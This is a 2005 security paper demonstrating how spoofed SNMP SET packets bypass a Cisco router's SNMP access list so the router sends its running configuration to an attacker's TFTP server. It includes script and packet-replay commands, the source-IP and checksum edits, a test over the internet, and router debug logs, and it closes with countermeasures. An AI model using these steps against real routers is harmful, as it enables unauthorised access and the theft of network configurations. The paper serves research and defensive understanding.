From Rexploit
Bypassing Cisco SNMP access lists using Spoofed SNMP Requests
by muts 02/08/2005
mati<-@->see-security.com
[-=] Disclaimer [=-]
The use of this document is for educational purposes only. Any misuse of this document is the responsibility of the reader. This paper outlines and demonstrates a practical exploit that can be performed on Cisco routers. In no way does this mean Cisco equipment is not secure. Proper configuration and security practices must be enforced to minimize the chance of a security breach. Network administrator error is the main cause of security breaches on Cisco equipment!
[-=] About [=-]
I've been playing with the idea of spoofing SNMP packets for a while now, but always found an excuse why *not* to. With the new batch of curiosity I've received from my chats with redkommie, I decided to try this out, and document my findings.
[-=] Scenario [=-]
- Border router with an "Internal" (192.168.1.1) and "External" IP address (a.b.c.d)
- SNMP Read Only access is available on all interfaces.
- An access list allows only internal access to Read / Write SNMP commands, similar in concept
access-list 1 permit 192.168.1.0 0.0.0.255 snmp-server community public RO snmp-server community datest RW 1
[-=] The Goal [=-]
To have RW SNMP access on the router under these conditions:
a) RW community string is known
b) Access list policy is known
c) Access to the SNMP RW command will occur from the a.b.c.d network (External).
d) No access lists present on TFTP server address.
I used ethereal to capture a successful SNMP SET request which copies the router config file to a specified tftp server. For simplicities sake, I used a ready made perl script.
root@slax# ./copy-router-config.pl ####################################################### # Copy Cisco Router config - Using SNMP # Hacked up by muts - muts@whitehat.co.il ####################################################### Usage : ./cisco-copy-config.pl <router-ip> <tftp-serverip> <community> Make sure a TFTP server is set up, preferably running from /tmp ! root@slax# ./copy-router-config.pl 192.168.1.1 192.168.1.5 datest 192.168.1.1:running-config -> 192.168.1.5:pwnd-router.config... OK root@slax#
This is what the packet dump looked like:
Notice how the communication initiates with ARP resolution (request and reply, then the SNMP request is made, and finally, TFTP transfer occurs).
I dumped packet 4 (the SNMP SET request) into a pcap file, and shaved off the pcap headers using hexedit. I was left with the following packet:
For curiosities sake, I tried resending the newly created SNMP packet, and was pleasantly surprised when the sent packet triggered a TFTP config transfer:
In one consle:
root@slax:/tmp/snmp# file2cable -i eth1 -f single-snmpset file2cable - by FX <fx@phenoelit.de> Thanx got to Lamont Granquist & fyodor for their hexdump() root@slax:/tmp/snmp#
In the other:
root@slax:/tmp# ./tftpd 69 standard_tftp_server launched on port 69. connection. root@slax:/tmp#
[-=] Setting up the Router [=-]
Over to the router. I added an access list allowing only IP 192.168.1.6 SNMP RW access.
access-list 1 permit 192.168.1.6 snmp-server community datest RW 1
[-=] The 3v1l d33d [=-]
The idea is to spoof a packet with a different source IP than the attacker has – or more accurately, a source IP which is allowed by the Router SNMP ACL.
To see that the new SNMP access list is working, I tried using the copy router config script again:
root@slax# ./copy-router-config.pl 192.168.1.1 192.168.1.5 datest 192.168.1.1:running-config -> 192.168.1.5:pwnd-router.config... No response from remote host '192.168.1.1' at ./copy-router-config.pl line 41. root@slax:/pentest/cisco/copy-router-config-v.0.1#
The script failed, as expected.
Let's take a look at the original (working) SNMP SET packet:
We can see that the source IP is : c0 a8 01 05 (192.168.001.005)
We want to change that to : c0 a8 01 06 (192.168.001.006)
Together with this change, we'll also need to correct the IP and UDP packet header checksums:
The packet was saved and sent.
[-=] The Indian Dance [=-]
The result was a successful TFTP config file transfer, as can be seen from the ethereal capture. Notice the altered source IP address. As a side note, perhaps it's better to initiate a ping before sending the craftet packet, just to make sure the ARP cache is happy.
[-=] The real thing [=-]
Running under lab conditions is one thing...will this work over the internet ?
I decided to make my life easier, and use a packet generator, together with a SNMP UDP payload I took from the previous pcap file.
To my delight, a TFTP transfer was initiated, over the net.
The router SNMP debug shows:
*Mar 1 00:32:53.854: SNMP: Set request, reqid 36323, errstat 0, erridx 0 ccCopyTable.1.2.12285992 = 1 ccCopyTable.1.3.12285992 = 4 ccCopyTable.1.4.12285992 = 1 ccCopyTable.1.5.12285992 = 80.179.34.70 ccCopyTable.1.6.12285992 = pwnd-router.config ccCopyTable.1.14.12285992 = 4 *Mar 1 00:32:53.971: SNMP: Response, reqid 36323, errstat 0, erridx 0 ccCopyTable.1.2.12285992 = 1 ccCopyTable.1.3.12285992 = 4 ccCopyTable.1.4.12285992 = 1 ccCopyTable.1.5.12285992 = 80.179.34.70 ccCopyTable.1.6.12285992 = pwnd-router.config ccCopyTable.1.14.12285992 = 4 *Mar 1 00:32:54.291: SNMP: Packet sent via UDP to 192.168.1.6
[-=] Countermeasures [=-]
The proper countermeasure in this case would to place an access list on tftp traffic as well, or even better, disable SNMP if possible.
[-=] The leftovers [=-]
There's an interesting observation I noticed.
Sometimes the packet would trip the TFTP server OID, and sometimes it wouldn't even get an
SNMP response from the router. I tried playing around with the source port values,
but it didn't help much. Take time between attempts, and try to "reset" as many things
as possible between attempts (bring the eth down and up, etc). Not sure why this happens yet,
still looking into it.
[-=] Credits [=-]
Credits go to redkommie for being patient with my silly questions, and always lending a helping hand. Thanks!